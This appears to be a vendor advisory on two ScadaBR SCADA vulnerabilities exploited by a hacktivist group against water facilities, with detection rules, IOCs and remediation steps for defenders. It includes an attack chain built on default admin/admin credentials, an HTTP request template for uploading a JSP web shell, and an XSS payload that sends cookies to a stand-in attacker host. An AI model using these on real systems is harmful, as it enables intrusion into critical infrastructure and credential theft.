OpenPLC ScadaBR Vulnerabilities

OpenPLC ScadaBR is an open-source SCADA (Supervisory Control and Data Acquisition) Human-Machine Interface (HMI) system used in industrial control environments. Two vulnerabilities patched over three years ago are now being actively exploited against water treatment facilities by the pro-Russian hacktivist group TwoNet.

Vulnerability Overview

Why This Matters

Industrial control systems, particularly those managing water treatment and distribution, represent critical infrastructure that directly impacts public health and safety. The exploitation of these vulnerabilities by hacktivist groups demonstrates:

• Prolonged vulnerability window — ICS/OT systems often lag years behind in patching
• Low barrier to entry — Default credentials combined with known exploits enable unsophisticated attackers
• Cross-sector risk — ScadaBR deployments exist across water, energy, and manufacturing sectors
• Geopolitical targeting — Pro-Russian hacktivists specifically targeting Western infrastructure

Attack Methodology

TwoNet's attack pattern against ScadaBR systems follows a predictable chain:

1. Reconnaissance — Identify internet-exposed ScadaBR instances using Shodan, Censys, or similar tools
2. Initial Access — Authenticate using default ScadaBR credentials (admin/admin)
3. Exploitation — Upload malicious JSP web shell via CVE-2021-26828
4. Post-Exploitation — Execute commands, modify SCADA configurations, or deploy additional payloads

The vulnerabilities affect ScadaBR installations on both Linux and Windows platforms. Due to the nature of ICS/OT environments, many systems have not been updated since the patches were released in June 2021.

CVE-2021-26828 — Remote Code Execution

CVE-2021-26829 — Stored Cross-Site Scripting

CVE-2021-26828: Arbitrary File Upload (RCE)

This vulnerability exists in the upload functionality where ScadaBR allows authenticated users to upload files. Due to insufficient validation, attackers can upload JSP web shells that are then executed by the underlying Tomcat server.

Exploitation Chain — CVE-2021-26828

Vulnerable Upload Endpoint

POST /ScadaBR/upload.shtm HTTP/1.1
Host: [target]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: application/octet-stream

[JSP web shell content]
------WebKitFormBoundary--

CVE-2021-26829: Stored Cross-Site Scripting

This vulnerability allows authenticated attackers to inject malicious JavaScript into ScadaBR that executes when other users view the affected page. This can be leveraged for credential theft or privilege escalation.

Exploitation Chain — CVE-2021-26829

Example XSS Payload

<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

Combined Attack Scenario

In observed attacks, TwoNet combines both vulnerabilities:

1. Initial foothold — Use XSS to steal valid operator credentials
2. Privilege escalation — Authenticate with stolen admin credentials
3. Code execution — Upload JSP web shell via CVE-2021-26828
4. Persistence — Maintain access to SCADA environment for future operations

Indicators of Compromise (IOCs)

Network Indicators

File Indicators

Web Server Log Patterns

# JSP file upload attempts
POST /ScadaBR/upload.shtm.*\.jsp

# Uploaded shell access
GET /ScadaBR/uploads/.*\.jsp

# Default credential authentication
POST /ScadaBR/login.htm.*admin

# XSS payload injection
.*<script>.*document\.cookie.*

Detection Rules

Sigma Rule — JSP Upload Detection

title: ScadaBR JSP Web Shell Upload Attempt
id: 8a2c5f91-4b3d-4e6a-9f8c-1a2b3c4d5e6f
status: experimental
description: Detects attempts to upload JSP files to ScadaBR
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem|contains: '/ScadaBR/upload'
        cs-method: 'POST'
    filter_jsp:
        cs-uri-query|contains:
            - '.jsp'
            - '.jspx'
    condition: selection and filter_jsp
level: high
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2021.26828

Snort/Suricata Rule

alert http any any -> any any (
    msg:"INTRUVENT - ScadaBR JSP Upload CVE-2021-26828";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"/ScadaBR/upload";
    file.data; content:".jsp";
    classtype:web-application-attack;
    sid:2025002;
    rev:1;
)

alert http any any -> any any (
    msg:"INTRUVENT - ScadaBR Web Shell Access Attempt";
    flow:established,to_server;
    http.method; content:"GET";
    http.uri; content:"/ScadaBR/uploads/"; content:".jsp";
    classtype:web-application-attack;
    sid:2025003;
    rev:1;
)

Patch Information

Immediate Actions

1. Change default credentials — Replace admin/admin with strong, unique passwords
2. Network segmentation — Ensure ScadaBR is not exposed to the internet
3. Audit uploaded files — Review /ScadaBR/uploads/ directory for .jsp files
4. Apply patches — Upgrade to fixed versions (0.9.1+ Linux, 1.12.4+ Windows)
5. Enable logging — Ensure web server access logs capture upload and authentication events

Network Segmentation Recommendations

Forensic Investigation Steps

If compromise is suspected, perform the following analysis:

1. Review web server access logs for upload activity to /ScadaBR/upload.shtm
2. Search for .jsp files in ScadaBR directories that were not part of the original installation
3. Analyze authentication logs for default credential usage or brute-force attempts
4. Check for connections to known TwoNet infrastructure (45.157.234[.]199, 45.14.247[.]87)
5. Preserve and analyze any identified web shells for IOC extraction